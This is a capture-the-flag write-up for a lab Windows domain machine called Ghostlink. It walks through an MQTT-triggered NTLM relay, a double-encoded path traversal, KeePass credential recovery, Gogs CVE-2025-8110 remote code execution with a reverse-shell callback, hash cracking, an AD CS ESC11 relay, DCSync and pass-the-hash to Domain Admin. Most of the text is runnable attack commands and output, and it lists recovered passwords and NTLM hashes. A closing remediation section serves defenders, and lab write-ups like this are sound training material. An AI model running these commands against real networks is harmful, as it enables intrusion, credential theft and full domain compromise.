Target: 10.129.32.88 · Windows/Active Directory · MQTT NTLM relay · Gogs CVE-2025-8110 · AD CS ESC11
Ghostlink is a layered Hard machine that turns an anonymously writable MQTT healthcheck into authenticated access to an internal secure-share application. A double URL-decoding bug then exposes a user registry hive and a KeePass archive. The recovered Gogs credential enables CVE-2025-8110, the Gogs database yields a reusable Linux password, and an ESC11 AD CS relay ultimately provides a Domain Controller certificate and Domain Administrator access.
Note: Flag values are intentionally redacted. Their locations are /home/nvirelli/user.txt and C:\Users\Administrator\Desktop\root.txt.
Attack path at a glance
- Enumerate the domain controller and anonymously subscribe to MQTT.
- Discover reverse-proxied Gogs and secure-share virtual hosts.
- Temporarily point the MQTT healthcheck at an NTLM relay listener.
- Relay
svc_canaryinto secure-share. - Double URL-encode traversal to retrieve
NTUSER.DATanddb.zip. - Open the KeePass database with its adjacent key file and recover
vroth. - Exploit Gogs 0.13.3 with CVE-2025-8110 for a shell as
git. - Crack
nvirelli's Gogs PBKDF2 hash and collect the user flag. - Pivot to the internal CA, relay
DC01$through ESC11, and request a DomainController certificate. - DCSync only Administrator, authenticate over WinRM, and collect the root flag.
Enumeration
ping -c 2 -W 2 10.129.32.88
nmap -Pn -n -p- --min-rate 1200 --max-retries 2 -T4 10.129.32.88
nmap -Pn -n -sT -sC -sV -p53,80,88,135,139,389,445,464,593,636,1883,2179,3268,3269,5985,9389 10.129.32.88
PORT STATE SERVICE
53/tcp open domain
80/tcp open http Microsoft IIS 10.0
88/tcp open kerberos-sec
389/tcp open ldap ghostlink.htb
445/tcp open microsoft-ds signing required
636/tcp open ssl/ldap
1883/tcp open mqtt
5985/tcp open wsman
9389/tcp open adws
LDAP and the certificate identified dc01.ghostlink.htb. The target clock was about eight hours ahead. Anonymous LDAP disclosed only RootDSE, SMB share listing was denied, and DNS AXFR failed.
MQTT and hidden virtual hosts
The broker allowed anonymous subscriptions. Listening to # exposed retained healthcheck telemetry:
GhostProtocolZero/systems/node/repository/healthcheck
{"url":"gpz-op26-toolkits.ghostlink.htb/healthcheck","ip":"172.16.20.20"}
GhostProtocolZero/systems/node/secureshare/healthcheck
{"url":"gpz-op26-secure.ghostlink.htb/healthcheck","ip":"172.16.20.10"}
Both names were reachable through IIS on the authorized target IP:
curl --resolve gpz-op26-toolkits.ghostlink.htb:80:10.129.32.88 \
http://gpz-op26-toolkits.ghostlink.htb/
curl --resolve gpz-op26-secure.ghostlink.htb:80:10.129.32.88 \
http://gpz-op26-secure.ghostlink.htb/
The first site was Gogs. The second required Negotiate/NTLM and identified itself as GPZ-OP26-SECURE.
Gogs fingerprint
The public Gogs users included vroth, nvirelli, zkovacs, and ohexley. Their public repositories did not contain a live secret. The cache-busting hash on gogs.js was an upstream Git commit:
/js/gogs.js?v=5084b4a9b77a506f5e287e82e945e1c6882b827a
That commit is the release commit for Gogs 0.13.3, which is affected by CVE-2025-8110. The RCE is authenticated, so another access primitive was still needed.
NTLM relay through an MQTT healthcheck
The secure-share telemetry included a healthcheck URL. I saved the exact retained JSON, changed only the URL to http://10.10.14.78:8888/, and started an HTTP relay targeting the secure-share virtual host.
python3 scoped_ntlmrelayx.py \
-t http://gpz-op26-secure.ghostlink.htb \
--http-port 8888 --no-smb-server --no-wcf-server --no-raw-server \
-socks -socks-address 127.0.0.1 -socks-port 1080 \
-ip 10.10.14.78
A small MQTT publisher wrote the modified retained record. Eight seconds later, the original record was restored.
Authenticating against http://gpz-op26-secure.ghostlink.htb
as GHOSTLINK/SVC_CANARY SUCCEED
SOCKS: Adding GHOSTLINK/SVC_CANARY@gpz-op26-secure.ghostlink.htb(80)
The Impacket HTTP SOCKS plugin selects a relayed identity with Basic credentials; the password value is ignored:
curl --socks5-hostname 127.0.0.1:1080 \
-u 'GHOSTLINK/SVC_CANARY:x' \
http://gpz-op26-secure.ghostlink.htb/
<title>Ghost Protocol Zero | Secure Operations Channel</title>
Double URL-encoded file traversal
The download endpoint validated a path before a later decode step. Double encoding caused %252e to become a dot and %255c to become a Windows backslash.
p = r'..\..\..\..\..\..\..\users\svc_canary\ntuser.dat'
once = ''.join(f'%{b:02x}' for b in p.encode())
payload = '/api/download/' + once.replace('%', '%25')
Requesting that path through the relay returned a 262,144-byte Windows registry hive:
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 262144
svc_canary-ntuser.dat: MS Windows registry file, NT/2000 or above
UTF-16LE strings showed RecentDocs and db.zip. The recent-document path was:
C:\Users\svc_canary\Documents\Operations\Management\db.zip
The same double encoding returned a valid archive containing:
165246 db.kdbx
240 .key.keyx
KeePass credential and password policy
The KDBX opened with the adjacent key file and no master password. Every repository credential except one had been migrated:
GROUP: ['Toolkits Repository']
TITLE: Vesper Roth
USERNAME: vroth
PASSWORD: mOo03jpsqx8JQYMBwvFP
A PDF attachment in the KeePass Recycle Bin revealed a 20-character minimum password length, complexity enforcement, and a three-attempt account lockout threshold. This made blind AD spraying unnecessary and later made Gogs hash cracking much faster.
Gogs RCE: CVE-2025-8110
I inspected the public PoC before execution. It created an unnecessary hard-coded user, generated an API token and repository, pushed a symlink to .git/config, and overwrote it with a configuration containing core.sshCommand. I used a reduced local adaptation that accepted the recovered vroth credential, created one private repository, printed its exact token/name for cleanup, and pinned the hostname to the authorized IP.
nc -lvnp 10001
python3 gogs_cve_2025_8110.py \
--username vroth --password 'mOo03jpsqx8JQYMBwvFP' \
--callback-host 10.10.14.78 --callback-port 10001
[+] Authenticated to Gogs
[+] PutContents timed out as expected while sshCommand callback runs
uid=1000(git) gid=1000(git) groups=1000(git)
Gogs database to the user flag
From the git shell, I exported only /opt/gogs/data/gogs.db. The nvirelli record used PBKDF2-HMAC-SHA256 with 10,000 iterations:
salt: DW3YdxPy25
digest: 8d9b3a01c3a0260b39db011aed1dbf239b8b1b28af6141f28aa01d3b3ab8ffd4408bc5b9065ff957e716375a7bec1755d3e8
After conversion to hashcat mode 10900, the leaked 20-character minimum reduced rockyou to roughly 46,600 candidates:
awk 'length($0) >= 20' rockyou.txt > rockyou-min20.txt
hashcat -m 10900 -a 0 nvirelli.hash rockyou-min20.txt
Status: Cracked
Password: u47YUclrDiwWxBheaSzI
The password was reused by the Linux account:
su - nvirelli
uid=1001(nvirelli) gid=1001(nvirelli) groups=1001(nvirelli)
The user flag was at /home/nvirelli/user.txt.
Pivot and AD CS ESC11
A temporary reverse chisel SOCKS tunnel exposed the internal network at 127.0.0.1:1081. Certipy found one CA:
proxychains4 certipy-ad find \
-u 'nvirelli@ghostlink.htb' -p 'u47YUclrDiwWxBheaSzI' \
-dc-ip 172.16.20.1 -ns 172.16.20.1 -dns-tcp \
-vulnerable -stdout
CA Name: ghostlink-GPZ-OP26-SECURE-CA
Enroll: Authenticated Users
Enforce Encryption: Disabled
[!] ESC8: Web enrollment enabled over HTTP
[!] ESC11: Encryption not enforced for ICPR requests
The installed coercion module was reviewed and restricted to DFSCoerce. Certipy relayed the coerced DC machine authentication to the CA's RPC interface:
proxychains4 certipy-ad relay \
-target rpc://172.16.20.10 \
-ca 'ghostlink-GPZ-OP26-SECURE-CA' \
-template DomainController \
-interface 10.10.14.78 -out DC01.pfx
nxc smb 10.129.32.88 -d ghostlink.htb \
-u nvirelli -p 'u47YUclrDiwWxBheaSzI' \
-M coerce_plus \
-o LISTENER=10.10.14.78 METHOD=DFSCoerce
Authenticating against rpc://172.16.20.10 as GHOSTLINK/DC01$ SUCCEED
Requesting certificate with template 'DomainController'
Request ID is 5
Successfully requested certificate
Domain Administrator
The eight-hour target clock skew was handled for one Certipy process with libfaketime, without changing the workstation clock:
env LD_PRELOAD=/usr/lib/aarch64-linux-gnu/faketime/libfaketime.so.1 \
FAKETIME='+8h' \
certipy-ad auth -pfx DC01.pfx \
-dc-ip 10.129.32.88 -domain ghostlink.htb -username 'dc01$'
Got TGT
Got hash for dc01$: a920aa4955f92675e562826f12700c13
I restricted DCSync to Administrator rather than dumping the domain:
impacket-secretsdump 'ghostlink.htb/dc01$@10.129.32.88' \
-dc-ip 10.129.32.88 \
-hashes ':a920aa4955f92675e562826f12700c13' \
-just-dc-user Administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8190e067f478002ddd63eb209b016696:::
WinRM accepted the hash. whoami /groups showed local Administrators, Domain Admins, Enterprise Admins, and High Mandatory Level. The root flag was at C:\Users\Administrator\Desktop\root.txt.
Credentials
| Context | Principal | Secret/material | Impact |
|---|---|---|---|
| KeePass/Gogs | vroth | mOo03jpsqx8JQYMBwvFP | Authenticated Gogs RCE |
| Gogs/Linux | nvirelli | u47YUclrDiwWxBheaSzI | Local user and user flag |
| ESC11 PKINIT | DC01$ | a920aa4955f92675e562826f12700c13 | DC machine authentication |
| DCSync | Administrator | 8190e067f478002ddd63eb209b016696 | Domain Administrator |
The machine-account hash can rotate; the value above reflects this solved instance.
Remediation
- Require authenticated, encrypted MQTT; disable anonymous access and enforce topic-level publish ACLs.
- Use server-owned healthcheck destinations, strict allowlists, outbound egress controls, and no automatic Windows credentials.
- Reduce or remove NTLM; enable Extended Protection and alert on service-account authentication to unusual destinations.
- Decode paths once, canonicalize after decoding, reject traversal/rooted paths, and map opaque IDs to files beneath a fixed storage root.
- Never store a KeePass database beside its only key factor. Empty vault recycle-bin data and rotate exposed credentials.
- Upgrade Gogs to a supported release containing the symlink-aware PutContents fix. Monitor symlinks to
.git/configand unexpectedcore.sshCommand. - Use unique application and operating-system passwords and tightly restrict
gogs.db. - Fix ESC11 by enforcing encrypted RPC certificate requests, restricting enrollment, and monitoring machine certificate issuance.
- Block outbound SMB from domain controllers and disable unnecessary coercible RPC services.
- Restrict WinRM to management networks, revoke the issued test certificate, and rotate privileged hashes after compromise.